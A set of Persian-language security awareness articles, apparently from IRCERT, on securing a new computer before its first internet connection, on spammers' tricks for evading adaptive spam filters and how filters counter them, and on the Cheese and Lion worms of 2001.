هدف این مطلب فراهم آوردن حفاظت کافی برای یک کامپیوتر جدید است تا یک کاربر بتواند هر وصله نرم افزاری را که از زمان ساخت کامپیوتر یا نصب نرم افزار اولیه از طریق CD، منتشر شده است، دانلود و نصب کند. توجه کنید که این مراحل راهنمایی کاملی برای نگه داری امن یک کامپیوتر از زمان دانلود اولیه و نصب وصله ها نیستند، بلکه قدم های اولیه و اساسی هستند.

تذکر:

o  توصیه می شود که این مراحل را هنگام ارتقاء به سیستم عامل جدید و همچنین اولین اتصال یک کامپیوتر جدید به اینترنت انجام دهید.

o  این مراحل را قبل از اولین اتصال به اینترنت انجام دهید.

اینها مراحلی هستند که توصیه می شوند:

۱- اگر ممکن است، کامپیوتر جدید را از طریق یک فایروال شبکه یا روترـ فایروال به اینترنت متصل کنید.

فایروال شبکه یا روترـ فایروال سخت افزاری است که کاربران می توانند بین کامپیوترها روی LAN و وسیله پرسرعت اتصال به اینترنت (مودم کابلی یا DSL) نصب کنند. با مسدود کردن دسترسی به کامپیوترهای شبکه داخلی از طریق اینترنت (البته هنوز اجازه دسترسی برای این کامپیوترها به اینترنت وجود دارد)، یک فایروال سخت افزاری اغلب می تواند حفاظت کافی را برای یک کاربر برای دانلود و نصب وصله های نرم افزاری لازم فراهم آورد. فایروال سخت افزاری درجه بالایی از حفاظت را برای کامپیوترهای تازه ای که به اینترنت متصل می شوند، ایجاد می کند.

چنانچه کامپیوتری را از طریق فایروالی که عمل NAT را انجام می دهد، به اینترنت متصل می کنید و یکی از شرایط ذیل برقرار است (الف) ماشین جدید تنها کامپیوتری است که از طریق فایروال به اینترنت متصل می شود یا (ب) تمام ماشینهای دیگر متصل به اینترنت از طریق فایروال، بروز شده باشند و آلوده به ویروسها، کرمها، یا کدهای آسیب رسان دیگر نباشند، در اینصورت شما ممکن است نیاز به فعال کردن فایروال نرم افزاری نباشید.

۲- اگر دسترسی دارید، فایروال نرم افزاری موجود در کامپیوتر را فعال کنید.

اگر سیستم عامل شما شامل یک فایروال نرم افزاری است، توصیه می شود که بمنظور مسدود کردن اتصالات از سایر کامپیوترهای موجود در اینترنت آن را فعال کنید.

چنانچه در بالا گفته شد، اگه کامپیوتر شما در حال متصل شدن به یک LAN است که یک فایروال سخت افزاری دارد و بقیه کامپیوترها روی این شبکه کاملاً محافظت شده و بدون کدهای زیان رسان باشند، این مرحله اختیاری است. بهرحال، به عنوان بخشی از استراتژی «دفاع در عمق»، توصیه می شود که فایروال نرم افزاری موجود در سیستم عامل فعال شود.

اگه سیستم عامل شما فاقد فایروال نرم افزاری است، ممکن است که بخواهید برنامه فایروال شخص ثالثی را نصب کنید. بسیاری از چنین برنامه هایی بطور تقریباً رایگان وجود دارند. بهرحال، با توجه به این مسأله که مورد نظر ما در این مقاله، همان زمان کوتاه اتصال کامپیوتر محافظت نشده به اینترنت است، توصیه می شود که هر برنامه فایروال ثالثی از ابزاری مانند CD، DVD یا Floppy قبل از اتصال به اینترنت نصب گردد تا اینکه مستقیماً برروی کامپیوتر محافظت نشده دانلود گردد. در غیر اینصورت، ممکن است که این کامپیوتر قبل از کامل شدن دانلود و نصب نرم افزار مطلوب مورد سوءاستفاده قرار گیرد.

۳- سرویس های غیرضروری را مانند اشتراک فایل و پرینتر غیرفعال کنید.

بیشتر سیستم عامل ها بصورت پیش فرض اشتراک فایل و پرینتر را فعال نمی کنند، بنابراین نباید مسأله ای برای کاربران باشد. بهرحال، اگر کامپیوتر خود را به سیستم عامل جدید ارتقاء می دهید و اشتراک فایل آن فعال است، امکان دارد که در سیستم عامل جدید نیز این گزینه فعال باشد. از آنجا که سیستم عامل جدید ممکن است شکاف های امنیتی داشته باشد که در نسخه قدیمی تر نبودند، اشتراک فایل را در نسخه قبلی قبل از ارتقاء سیستم عامل غیرفعال کنید. بعد از کامل شدن عمل ارتقاء و نصب تمام وصله های مربوطه، اشتراک فایل در صورت نیاز می تواند مجدداً فعال شود.

۴- وصله های نرم افزاری را در صورت نیاز دانلود و نصب کنید.

زمانی که کامپیوتر از حمله قریب الوقوع از طریق استفاده از فایروال سخت افزاری ویا نرم افزاری و غیرفعال کردن اشتراک فایل و پرینتر محافظت شده است، باید تقریباً اتصال به اینترنت بمنظور دانلود و نصب وصله های نرم افزاری لازم امن باشد. مهم است که این گام حتماً انجام گیرد چون درغیراینصورت کامپیوتر می تواند در معرض سوءاستفاده قرار گیرد اگر بعداً در زمان دیگری فایروال غیرفعال شود یا اشتراک فایل فعال شود.

وصله های نرم افزاری را از سایت های قابل اعتماد و شناخته شده (مانند سایتهای خود فروشندگان نرم افزار)، دانلود کنید تا امکان اینکه یک مزاحم از طریق استفاده از یک اسب تروا کنترل را در اختیار گیرد، به حداقل برسد.

در شماره بعد به گامهای مختص هر سیستم عامل خواهیم پرداخت.


﻿ IRCERT - اولین اتصال یک کامپیوتر به اینترنت (۲) - مقالات

اولین اتصال یک کامپیوتر به اینترنت (۲)

در شماره قبل راهنمای کلی از نظر امنیت برای نصب کامپیوترهای جدید ارائه گردید. بهرحال، عمل به بعضی از آن توصیه ها بستگی به سیستم عامل مورد استفاده دارد. این بخش مشخصاً به سیستم های عامل ویندوز XP و Apple Macintosh OSX و چند اشاره به سایر سیستم عاملها دارد.

۱- ویندوز XP

بمنظور انجام این مراحل، شما نیاز دارید که به یک اکانت با اختیارات مدیر محلی وارد شوید.

الف. مقاله قبل را مرور کنید.

ب. در صورت امکان، از طریق یک فایروال سخت افزاری متصل شوید.

(به این مرحله در شماره قبل اشاره شده است.)

پ. Internet Connection Firewall موجود در XP را فعال کنید.

(مایکروسافت دستورهای فعال کردن این فایروال را ارائه کرده است.)

ت. اشتراکها را اگر فعال هستند، غیرفعال کنید.

۱- به Control Panel بروید.

۲- “Network and Internet Connections” را باز کنید.

۳- “Network Connections” را باز کنید.

۴- روی Connection که می خواهید تغییر ایجاد کنید کلیک راست کنید.

۵- “Properties” را انتخاب کنید.

۶- مطمئن شوید که “File and Printer Sharing for Microsoft Networking” انتخاب نشده است.

ث. به شبکه متصل شوید.

ج. به آدرس http://windowsupdate.microsoft.com بروید.

چ. دستورهای موجود در آنجا را برای نصب تمام بروز رسانیهای مهم دنبال کنید.

ح. «امن ماندن» را در زیر مرور کنید.

۲- Apple Macintosh OSX

الف. مقاله قبل را مرور کنید.

ب. در صورت امکان، از طریق یک فایروال سخت افزاری متصل شوید.

پ. فایروال نرم افزاری را فعال کنید.

۱- “System Preferences” را باز کنید.

۲- “Sharing” را انتخاب کنید.

۳- نوار “Firewall” را انتخاب کنید.

۴- روی “Start” کلیک کنید.

۵- نوار “Services” را انتخاب کنید.

۶- بررسی کنید که هیچکدام از سرویس ها انتخاب نشده باشند.

ت. به اینترنت متصل شوید.

ث. نرم افزار نصب شده را به روز کنید.

۱- “System Preferences” را باز کنید.

۲- “Software Updates” را انتخاب کنید.

۳- با انتخاب “ Automatically check for updates when you have a network connection “ به روزرسانی خودکار را فعال کنید.

۴- زمان بروزرسانی مناسبی انتخاب کنید ( بصورت روزانه توصیه می شود)

۵- روی “Check Now” کلیک کنید.

۶- تمام به روزرسانیهای توصیه شده را نصب کنید.

ج. «امن ماندن» را در زیر مرور کنید.

۳- سایر سیستم عامل ها

کاربران سایر سیستم عامل ها باید مقاله قبل را مطالعه کنند و سپس از سایت های مربوط به فروشندگان سیستم عامل شان برای دستورالعمل مربوطه کمک بگیرند. بعلاوه، کاربران یونیکس و لینوکس می توانند مطالب مروبط به چک لیست امنیتی یونیکس یا خلاصه آن را مطالعه کنند.

امن ماندن

الف. مطالب مربوط به امنیت شبکه های خانگی و امنیت کامپیوترهای خانگی را مطالعه کنید.

ب. نرم افزار آنتی ویروس نصب و استفاده کنید.

در حالیکه یک بسته نرم افزاری آنتی ویروس به روز شده، نمی تواند در برابر تمام کدهای آسیب رسان از یک سیستم محافظت کند، برای بیشتر کاربران بهترین وسیله دفاعی در خط مقدم علیه حملات کدهای آسیب رسان است. بسیاری بسته های آنتی ویروس از بروزرسانیها پشتیبانی می کنند.

پ. اگر امکان دارد بروز رسانیهای خودکار نرم افزار را فعال کنید.

فروشندگان معمولاً هنگامی که یک شکاف امنیتی کشف می گردد، بسته های آن را ارائه می دهند. بیشتر مستندات محصولات روشی برای دریافت به روزها و وصله ها ارائه می دهند. باید بتوانید به روز رسانیها را از سایت فروشنده دریافت کنید.

بعضی برنامه ها بصورت خودکار وجود بروزرسانیها را بررسی می کنند، و بسیاری فروشندگان از طریق لیست ایمیل بصورت خودکار وجود بروزرسانی ها را اطلاع می دهند. وب سایت مورد نظر خود را برای اطلاعات در مورد این نحوه آگاهی نگاه کنید. اگر هیچ لیست ایمیل یا مکانیسم دیگر آگاه سازی بصورت خودکار ارائه نمی شود، نیاز است که وب سایت فروشنده در فواصل زمانی معین برای وجود بروزرسانی ها سرزده شود.

ت. از رفتار ناامن خودداری کنید.

· هنگام بازکردن پیوست های ایمیل یا هنگام استفاده از اشتراک نقطه به نقطه، پیام رسانی فوری یا اتاق های گفتگو، احتیاط کنید.

· اشتراک فایل را روی واسط های شبکه که به طور مستقیم در معرض اینترنت هستند، فعال نکنید.

ث. اصول کمترین حقوق دسترسی را دنبال کنید.

به استفاده از یک اکانت با تنها حقوق «کاربر» بجای حقوق «مدیر» یا سطح «ریشه» برای کارهای روزانه توجه کنید. بسته به سیستم عامل، شما تنها نیاز به استفاده از سطح دسترسی مدیر برای نصب نرم افزار جدید، تغییر پیکربندی سیستم و مانند اینها دارید. حتی بسیاری از سوءاستفاده ها از شکافهای امنیتی (مانند ویروس ها و اسب های تروا) در سطح دسترسی کاربر اجرا می شود، بنابراین بسیار خطرناکتر می شود که همواره بعنوان مدیر وارد سیستم شد.


﻿ IRCERT - نبرد فیلترها و تولیدکنندگان اسپم (۱) - مقالات

نبرد فیلترها و تولیدکنندگان اسپم (۱)

فیلتر اسپم، نرم‌افزاری است که به سرویس دهنده ایمیل کمک می‌کند تا از عبور اسپم‌ (هرزنامه‌) جلوگیری کند. این فیلتر این عمل را معمولاً با شناسایی فرستنده ایمیل یا کلماتی که در موضوع و متن ایمیل بکار رفته انجام می‌دهد. در مقاله “اسپم چیست” به مواردی که موضوع اصلی بیشتر اسپم‌هاست اشاره شد. این فیلترها سعی در تشخیص این نوع ایمیل‌ها و جلوگیری از ورود آنها به صندوق‌پستی کاربرانشان یا نشانه‌گذاری آنها بعنوان اسپم می‌کنند. اگر مدتهاست که از سرویسهای ایمیل معروف مانند Yahoo یا Hotmail استفاده می‌کنید،‌ حتماً با هر بار سر زدن به صندوق پستی خود با انبوهی از ایمیلها با عنوان Bulk mail یا Junk mail برخورد می‌کنید. قرار گرفتن این ایمیلها در این فولدرها بدلیل اینست که سرویس‌دهنده ایمیل آنها را بعنوان اسپم تشخیص می‌دهد. البته گاهی نیز این ایمیلها از Inbox شما سر در میاورند که نشاندهنده این است که عیلرغم اسپم بودن، توانسته‌اند از فیلتر اسپم عبور کنند. حتی گاهی شنیده می‌شود که بعضی ایمیلهای اصلی به فولدر مربوط به اسپم هدایت می‌شوند که باز هم نشان از تشخیص اشتباه فیلتر است. البته نیازی به نگرانی نیست. این اتفاق بندرت رخ می‌دهد.

فیلتر تطبیقی، نوعی از فیلتر است که قادر است اشتباهاتش در تشخیص اسپم‌ها را اصلاح کند و با آشنا شدن بیشتر با کلمات یا حقه‌هایی که در اسپم‌ها بکار میرود در تشخیص اسپم‌ها بهتر و دقیق‌تر عمل کند.

فرستندگان اسپم هر روزه در حال استفاده از ابزار و روشهای پیچیده‌تری برای عبور دادن نامه‌هایشان از فیلترهای اسپم تطبیقی هستند. آنها از روشهایی مانند پنهان کردن پیغامها در متنهای بی‌ضرر تا تکنیکهای هوشمندانه‌تری که تلاش می‌کنند تا در توانایی‌های فیلترها در تشخیص اسپم از غیراسپم اختلال ایجاد کنند، استفاده می‌کنند. در این مقاله و مقاله بعدی با چندتا از این روش‌ها و نحوه مقابله با آنها از طرف فیلترها آشنا می‌شویم.

با گسترش فیلترهای تطبیقی، تولید‌کنندگان اسپم شروع کردند به پرکردن پیغامهایشان با حجم زیادی از متن‌های غیراسپمی‌! برای گول زدن و عبور کردن از فیلترهای اسپم. فیلترهای تطبیقی در بعضی مواقع، از احتمالات برای تشخیص اسپم استفاده می‌کنند، یعنی مبنای تصمیم‌گیری در مورد اسپم‌ بودن یا نبودن یک پیغام میزان وقوع بعضی کلماتی است که در اسپم‌ها بیشتر بکار می‌رود. تولید‌کنندگان اسپم گاهی باعث برهم زدن این احتمالات در فیلترها و بعبارتی باعث مسموم‌شدن آنها می‌شوند.

تولیدکنندگان اسپم امیدوارند که با اضافه‌کردن متون جانبی باعث عبور پیغامشان از یک فیلتر شوند تا توسط کاربر خوانده شوند. در این مواقع ممکن است که کاربر به فیلتر اعلام کند که پیغام عبور داده شده، اسپم بوده است و فیلتر از این به بعد این کلمات جانبی و بی‌ضرر را نشانه اسپم بداند. این باعث می‌شود که فیلتر گاهی پیغامهای مفید را نیز به اشتباه بعنوان اسپم تشخیص دهد، و به این ترتیب باعث عملکرد بد فیلتر و از کار افتادن آن شوند.

خوشبختانه، طبیعت فیلترهای تطبیقی بگونه‌ای است که گول زدن و مسموم‌کردن آنها بسیار مشکل است. تنها امید یک تولیدکننده اسپم این است که بتواند با تبدیل پیغام خود به یک پیام بی‌ضرر (پیامی که درصد کلمات نشاندهنده اسپم نسبت به کل کلمات موجود در آن بسیار ناچیز و قابل اغماض باشد) باعث عبور آن از فیلتر شود که به این ترتیب از تاثیر تبلیغاتی متن موجود در آن بسیار کاسته خواهد شد.

فریب‌دادن یک فیلتر تطبیقی

یک فیلتر به این ترتیب اسپم بودن یا پیام را تشخیص می‌دهد که به کلمات موجود در متن نگاه می‌کند و به هر کدام از آنها با توجه به اینکه این کلمه به چه میزان به یک اسپم متعلق است وزنی اختصاص می‌دهد. با ترکیب این احتمالات برای همه کلمات پیام، فیلتر به احتمال اسپم بودن یا نبودن پیام میرسد و بر مبنای آن تصمیم‌گیری می‌کند. این عمل ترکیب به فیلترهای تطبیقی در تصمیم‌گیری هوشمندانه قدرت زیادی می‌بخشد. فیلتر تطبیقی برای هر کاربر کلمات مخصوص به آن کاربر را دارد.

در ادامه برای روشن شدن بیشتر مطلب با سه شخصیت سروکار داریم. دو کاربر به نامهای آلیس و باب و یک تولید کننده اسپم به نام اِوا. فیلتر اسپم آلیس کلمات مجانی، رهن و وام را اسپم تشخیص می‌دهد، اما از آنجا به بافتنی علاقه دارد کلمات پشم، سوزن و زردوزی برای او کلمات مفیدی هستند. از طرف دیگر برای باب هم کلمات مجانی،‌ رهن و وام نشاندهنده اسپم هستند. اما از آنجا که به اتومبیل علاقه‌مند است کلماتی مانند موتور، فرمان و سرعت برای او نشاندهنده یک پیام جالب هستند.

حال اگر اِوا پیامی به آلیس و باب بفرستد که در آن کلمات رهن و وام بکار رفته باشد، توسط فیلتر هر دو بسرعت اسپم تشخیص داده می‌شود. توجه کنید که بعضی کلمات، افعال و حروف اضافه، کلمات خنثی محسوب می‌شوند. تولید‌کنندگان اسپم برای اینکه پیام آنها توسط موضوع (subject) اسپم تشخیص داده نشود، از حروف یا فاصله‌های اضافی در میان حروف و کلمات استفاده می‌کنند. مثلا کلمه “mortgage” بمعنای رهن به صورت “m o r t g a g e” یا “m-o-r-t-g-a-g-e” یا اشکال دیگر ممکن است در عنوان ایمیل آورده شود تا توسط فیلتر تشخیص داده نشود.

متن بی‌ضرر

این بار اِوا سعی می‌کند که فیلترها با استفاده از متن بی‌ضرر اغوا کند. به این منظور علاوه بر متن خود، متنی از جای دیگر مثلاً از یک دایرة‌المعارف یا سایت خبری یاهو به آن اضافه می‌کند و به آلیس و باب می‌فرستد. اما باز هم این متن اسپم تشخیص داده می‌شود. فیلترهای تطبیقی یک پیام را به سه بخش اسپم، مفید و خنثی تقسیم می‌کنند. فیلتر با وزن دادن به آنها، وزن زیادی در مورد اسپم و وزن کمی در مورد مفید بودن پیام می‌دهد و مقدار زیادی متن خنثی پیدا می‌کند. بنابراین قراردادن متن خنثی با شکست مواجه می‌شود. تولیدکننده اسپم اطلاعی از علاقه آلیس به بافتنی ندارد تا وزن مفید پیام خود را زیاد کند!!!

حجم زیاد پیام بی‌خاصیت

اِوا این بار فکر می‌کند که باید متن بی‌خاصیت بیشتری ارسال کند. اما همچنان امیدوار است که بتواند فیلتر آلیس و باب را گمراه کند.

اِوا توانست حجم ایمیل خود را افزایش دهد اما اینبار دو مساله برایش وجود دارد:

· همچنانکه اندازه پیام افزایش می‌یابد، نرخ ارسال اسپم کم می‌شود.

· حجم زیاد پیام باعث سردرگمی دریافت‌کننده نسبت به محتوای‌ اصلی می‌شود.

برای حل مشکل دوم، اِوا می‌تواند به پنهان کردن متن از خواننده متوسل شود. این کار توسط حقه “جوهر نامرئی” و “استتار” صورت می‌گیرد. در این عمل، رنگ نوشته و زمینه یکسان انتخاب می‌شوند. اِوا می‌تواند حجم زیادی از متن را بمنظور فریفتن فیلتر ارسال کند، بدون اینکه متن توسط کاربر دیده شود.

احتمال جواب دادن این تاکتیک کم است زیرا استفاده از چنین روشی براحتی توسط فیلتر اسپم تشخیص داده می‌شود و بعنوان نشانه‌ دیگری از اسپم استفاده می‌شود. در حالت استفاده از جوهر نامرئی، فیلتر اسپم برای تشخیص متن بی‌خاصیت نامرئی به اندازه کافی باهوش است و حتی دیگر احتیاجی به توجه به متن نیز وجود ندارد.

یک شکاف شانسی

در حقیقت تنها شانس اِوا اکنون این است که بطریقی از کلمات مورد علاقه آلیس مطلع شود و از آنها در ایمیل خود استفاده کند. اِوا شانس می‌آورد و ایمیلی را ارسال می‌کند که علاوه بر دارا بودن کلمات اسپمی! در آن از کلمات مورد علاقه آلیس که مربوط به بافتنی است استفاده می‌کند. فیلتر تطبیقی با وزن دادن به کلمات نمی‌تواند تصمیم‌گیری کند. برای اینکه فیلتر پیام مفید را از بین نبرد، به اسپم اجازه ورود به صندوق پستی آلیس را می‌دهد. البته موفقیت اِوا موقتی است. او نمیداند که پیامش عبور کرد و در ضمن فقط توانست پیامش را از یک فیلتر عبور دهد. فیلتر باب پیام را مسدود کرد زیرا باب به بافتنی علاقه ندارد و کلمات مفید برای آلیس، برای باب معنی خاصی ندارد.

برای اینکه اِوا یک فیلتر اسپم تطبیقی را فریب دهد احتیاج به گول زدن هر فیلتر بصورت مجزا دارد. او مجبور به فهمیدن کلمات مفیدی است که برای هر کاربر مختص خود اوست. این بارِ زیادی را به اِوا تحمیل می‌کند اگر میخواهد یک فیلتر اسپم تطبیقی را گول بزند.

اما این همه ماجرا نیست. در یک مثال واقعی، فیلتر آلیس همه سرپیامها را برای اسپم بودن یا مفید بودن سنجیده است. از آنجا که بیشتر ایمیلها در مورد بافتنی از دوستان مشخصی از آلیس و چندتایی لیست ایمیل برای او می‌رسد، اطلاعات در سرپیامها نیز نشاندهنده‌های خوبی برای مفید بودن یا اسپم بودن پیامها هستند. سرپیام رسیده از طرف اِوا نشاندهنده خوبی برای اسپم بودن ایمیل دریافت‌شده است. بنابراین شاید فیلتر آلیس به پیام اِوا اجازه عبور نداده باشد!!!

منتظر “نبرد فیلترها و تولیدکنندگان اسپم (۲)” باشید تا جدال بین اِوا و فیلترهای آلیس و باب را ادامه دهیم.


﻿ IRCERT - نبرد فیلترها و تولیدکنندگان اسپم (۲) - مقالات

نبرد فیلترها و تولیدکنندگان اسپم (۲)

بازخورد توسط حشرات وبی!

یک مکانیسم بازخورد چیزی است که اِوا به آن نیاز دارد. اگر او می‌دانست که کدام پیامهایش به آلیس رسید و کدامها نرسید، می‌توانست با استفاده از یک فیلتر تطبیقی و با پیامهای رسیده و نرسیده به آلیس، این فیلتر را آموزش دهد.

اِوا این کار را با بمباران کردن صندوق پستی آلیس با پیامهایی که حاوی متنهای تصادفی هستند انجام می‌دهد. پیامهای رسیده به آلیس احتمالا دارای کلمات مفید و پیامهای نرسیده دارای کلمات شبه اسپم هستند. بعد از مدتی او اطلاعات کافی برای تشخیص ارسال پیامهای به آلیس خواهد داشت.

متاسفانه مکانیسمی وجود دارد که اوا می‌تواند از دیده شدن پیامهایش توسط آلیس مطلع شود طوریکه آلیس از این موضوع باخبر نشود. - حشره وبی. حشره وبی یک تصویر کوچک (مثلا یک پیکسلی)‌است که در یک ایمیل گنجانده می‌شود و وقتی که پیام خوانده می‌شود به تولیدکننده اسپم خبر می‌دهد. با فعال شدن حشره وبی، اِوا راهی برای اطلاع یافتن از خوانده شدن ایمیل خود توسط آلیس خواهد داشت.

برای ارسال یک پیام حشره دار، اوا یک ایمیل به قالب HTML به آلیس می‌فرستد که شامل محتوای اسپم و لینکی به یک تصویر یک پیکسلی بر روی سایتی می‌باشد که تحت کنترل اوا است. در اسم این تصویر نام آلیس و یک کد یکتا که مشخص‌کننده آن پیام است، وجود دارد. با آگاهی یافتن از این دو مورد، اوا می‌تواند پیام خوانده شده توسط آلیس را مشخص کند.

خوشبختانه این تکنیک هنوز برای حمله به فیلترهای تطبیقی استفاده نمی‌شود اما با در نظر گرفتن نبوغ تولیدکنندگان اسپم، چندان هم بعید بنظر نمی‌رسد. مقابله با حشرات وبی آسان است، و در قسمت روشهای دفاع در پایان این مقاله آمده است.

بدون کلمه

تکنیک دیگر که اوا می‌تواند بیازماید ارسال ایمیل بدون کلمه است. چون او می‌داند که کلماتی مانند رهن باعث حذف پیامش می‌شود، می‌تواند در عوض یک کد HTML را که شامل یک لینک به یک تصویر روی وب‌سایت است، ارسال کند. هنگامی که ایمیل باز می‌شود، تصویر دانلود می‌شود و پیام اصلی نمایش داده می‌شود.

در اینجا، یک فیلتر تطبیقی خوب می‌تواند اسپم بودن این پیام را تشخیص دهد. زیرا این فیلتر فقط به کلمات توجه نمی‌کند و شبه‌کلمات مانند URLها را که در پیام قرار دارند را بررسی می‌کند. همچنین می‌تواند این حقیقت را در نظر بگیرد که پیام شامل یک تگ <img> است که باعث بارگذاری یک تصویر از وب در هنگام خوانده‌شدن پیام می‌شود.

مسموم کردن یک فیلتر تطبیقی

بزرگترین امیدواری اوا این است که اگر بتواند یک پیام را از فیلتر عبور دهد، آلیس و باب فیلترهایشان را روی آن پیام عبور داده شده، آموزش دهند. و اگر آن پیام پر از کلمات خنثی باشد، او امیدوار است که در آینده بعنوان اسپم تشخیص داده شوند و باعث شوند که بعضی ایمیلهای مناسب و خوب آلیس و باب، اسپم تشخیص داده شوند.

از آنجاکه آلیس و باب نسبت به تشخیص اشتباه ایملیهای خوب بعنوان اسپم نسبت به حالت دیگر حساس‌تر هستند ، یعنی ترجیح می‌دهند که اسپم‌ها را دریافت کنند تا اینکه ایمیلهای مناسبشان بعنوان اسپم تشخیص داده شود، اگر اوا در مسموم‌کردن فیلترهای اسپم موفق شود، باعث خواهد شد که آلیس و باب نسبت به فیلترکردن تطبیقی ناامید شوند و شاید حتی آن را رها کنند.

بهرحال، بعید است نقشه اوا درست از آب درآید، زیرا حتی اگر یک پیام هم از فیلتر عبور کند و آلیس و باب به فیلترشان اطلاع دهند، در میزان اهمیت کلماتی که برایشان مهمترین هستند، خدشه وارد نمی‌شود. یعنی کلمات مربوط به بافتنی برای آلیس و اتومبیل برای باب. برای اینکه نقشه مسموم‌کردن فیلترها توسط اوا عملی شود، او باید ابتدا یک پیام را از فیلتر اسپم عبور دهد و فیلتر را با کلماتی برای هر کاربر آلوده کند. امکان عبور دادن این چنین پیامی را در نظر بگیرید. کل آنچه باب انجام داده است اضافه کردن کلماتی به لیست کلمات اسپمی است. حتی اگر در آینده باب به مساپلی که اکنون در لیست اضافه شده است، علاقه‌مند شود، وجود و قدرت این کلمات آنقدر نیست که باعث اسپم شناخته شدن ایمیلهای مورد نظر باب شود.

قدرت یک فیلتر تطبیقی در توانایی برای وزن دادن بسیاری از احتمالات در تصمیم‌گیری برای خوب یا بد بودن یک پیام است.

در مقابله چگونه با اسپم مقابله کنیم به طور مختصر به روشهایی برای مقابله با اسپم‌ها اشاره شد. در اینجا به چند نکته دیگر اشاره می‌شود.

چند روش مقابله

۱- تا حد امکان از ایمیلهای متنی ساده استفاده کنید.

بیش از ٪۸۵ ایمیلهای اسپمی با استفاده از HTML نوشته می‌شوند. تولیدکنندگان اسپم این کار را می‌کنند، زیرا به این طریق می‌توانند پیامهای جدابتری با رنگها و فونتهای متفاوت ایجاد کنند. همچنان می‌توانند از حقه‌های HTML برای پنهان‌کردن کلمات اسپمی از دید یک فیلتر استفاده ببرند. البته ممکن است برای بعضی از افراد غیرعملی باشد، اما بعضی استفاده‌کنندگان اینترنت این را روش موثری برای نبرد با اسپم می‌دانند. بنابراین اگر ایمیل با فرمت HTML دریافت کنند، تقریبا به اسپم بودن آن مطمئن هستند.

۲- فیلتر اسپم شما نیاز به قدرت تحلیل فایلهای HTML برای تشخیص “جوهر نامرئی” و “استتار ” دارد.

یک فیلتر اسپم باید بتواند بین ایمیلهای واقعی که با فرمت HTML هستند (برای مثال از طرف کسی که از Outlook Express با فرمت پیش‌فرض HTML استفاده می‌کند) با HTML از طرف یک تولیدکننده اسپم تمایز قائل شود.

بعلاوه، فیلتر باید HTML را تحلیل کند تا از حقه‌های بکار رفته در آن برای پنهان کردن حجم زیادی از متن مطلع شود. یک فیلتر تطبیقی خوب برای جلوگیری از گول خوردن متن‌هایی را که قابل دیدن نیستند دور می‌ریزد.

۳- فیلتر اسپم شما احتیاج به امتحان هر MIME(Multi-purpose Internet Mail Extensions) برای یافتن حقه “MIME is Money” دارد.

یک حقه هوشمندانه که بعنوان “MIME is Money” شناخته می‌شود، ارسال دو پیام در یک ایمیل با استفاده از یک روش کد کردن با عنوان MIME است. با استفاده از یک پیام متن ساده که از کلمات خنثی تشکیل شده و یک پیام در قالب HTML که شامل پیام اسپمی است، تولید کننده اسپم معتقد است که برنامه ایمیل کاربر نسخه HTML را بجای متن ساده نشان خواهد داد در حالیکه امیدوار است که نسخه متن ساده توسط فیلتر خوانده شود و به این ترتیب فیلتر گول بخورد. یک فیلتر اسپم خوب این تشخیص را خواهد داد که بخشهای متن ساده و HTML یک پیام تا حد زیادی با هم متفاوتند و از نسخه HTML‌ برای تصمیم‌گیری استفاده خواهد کرد.

۴- اجازه بارگذاری تصویرها از یک وب‌سایت دیگر را ندهید

یک راه دیگر جلوگیری از بازخورد دادن به تولیدکننده اسپم در هنگامی است که پیام از فیلتر عبور می‌کند. تولید‌کنندگان اسپم بسیار از حشرات وبی در پیامهای اسپمی برای فهمیدن اینکه دقیقاً کدام دریافت‌کننده پیام را خوانده است، استفاده می‌کنند. این دریافت کنندگان در آینده اسپم بیشتری دریافت خواهند کرد. برای این منظور یک کاربر باید تنظیمات برنامه ایمیل خود را طوری انجام دهد که تصاویر داخل ایمیلها بارگذاری نشود.

تولیدکنندگان اسپم شاید برای نفوذ به فیلترهای تطبیقی با ارسال پیام در حجمهای بالا با چندین کپی به هر آدرس، بیشتر و سخت‌تر تلاش کنند. هر کپی از بقیه کمی متفاوت خواهد بود.

در نهایت شاید تولید‌کنندگان اسپم تصمیم بگیرند که کمتر از کلمات اسپمی استفاده کنند و متنهای آنها به سمت ایمیلهای مفید‌تر پیش برود!!!


﻿ IRCERT - کرمهای اینترنتی مفید (۱) - مقالات

کرمهای اینترنتی مفید (۱)

قبل از هر چیز ذکر این نکته ضروری است که گروه امداد امنیت کامپیوتری ایران این مطلب را در جهت افزودن بر آگاهی‌ مخاطبانش نگاشته است و قصد طرفداری یا مخالفت با این گونه از کرمها را که با عنوان «کرمهای خوب» و «کرمهای مدافع» نیز شناخته می‌شوند، ندارد. از آنجا که مطالب این مقاله نظرهای افراد مختلف است، بعضی مطالب ممکن است نشانه طرفداری و بعضی نشاندهنده مخالفت با وجود کرمهای مفید باشد. شما از کدام گروهید؟

خبرگزاری BBC در می ۲۰۰۱ خبر از ظهور و گسترش کرمی به نام کرم پنیر (Cheese worm) داد. محتوای خبر نشان از فعالیت این کرم علیه هکرها میداد، نه به نفع آنان!

«یک ویروس مفید در حال گشت در اینترنت است و شکاف امنیتی کامپیوترها را بررسی و در صورت یافتن، آنها را می‌بندد. هدف این کرم، کامپیوترهای با سیستم عامل لینوکس است که توسط یک برنامه مشابه اما زیان‌رسان قبلا مورد حمله قرار گرفته‌اند.»

اما این کرم توسط شرکت‌های تولید آنتی‌ویروس تحویل گرفته نشد! چراکه آنان معتقد بودند هر نرم‌افزاری که تغییراتی را بدون اجازه در یک کامپیوتر ایجاد کند، بالقوه خطرناک است.

در مارس همین سال یک برنامه زیان‌رسان با عنوان Lion worm (کرم شیر) سرویس‌دهندگان تحت لینوکس بسیاری را آلوده و درهای پشتی روی آنها نصب کرده بود تا ایجادکنندگان آن بتوانند از سرورها بهره‌برداری کنند. کرم همچنین کلمات عبور را می‌دزدید و به هکرهایی که از این ابزار برای ورود غیرمجاز استفاده می‌کردند، می‌فرستاد. این درهای پشتی می‌توانستند برای حملات DoS نیز استفاده شوند.

کرم پنیر تلاش می‌کرد بعضی از خسارات وارده توسط کرم شیر را بازسازی کند. در حقیقت کرم پنیر شبکه‌هایی با آدرسهای مشخص را پیمایش می‌کرد تا آنکه درهای پشتی ایجاد شده توسط کرم شیر را بیابد،‌ سپس برای بستن سوراخ، وصله آنرا بکار می‌گرفت و خود را در کامپیوتر ترمیم‌شده کپی می‌کرد تا برای پیمایش شبکه‌های دیگر با همان شکاف امنیتی از این کامپیوتر استفاده کند.

مدیران سیستمها که متوجه تلاشهای بسیاری برای پیمایش سیستمهایشان شده بودند، دنبال علت گشتند و کرم پنیر را مقصر شناختند. ارسال گزارشهای آنها به CERT باعث اعلام یک هشدار امنیتی گردید.

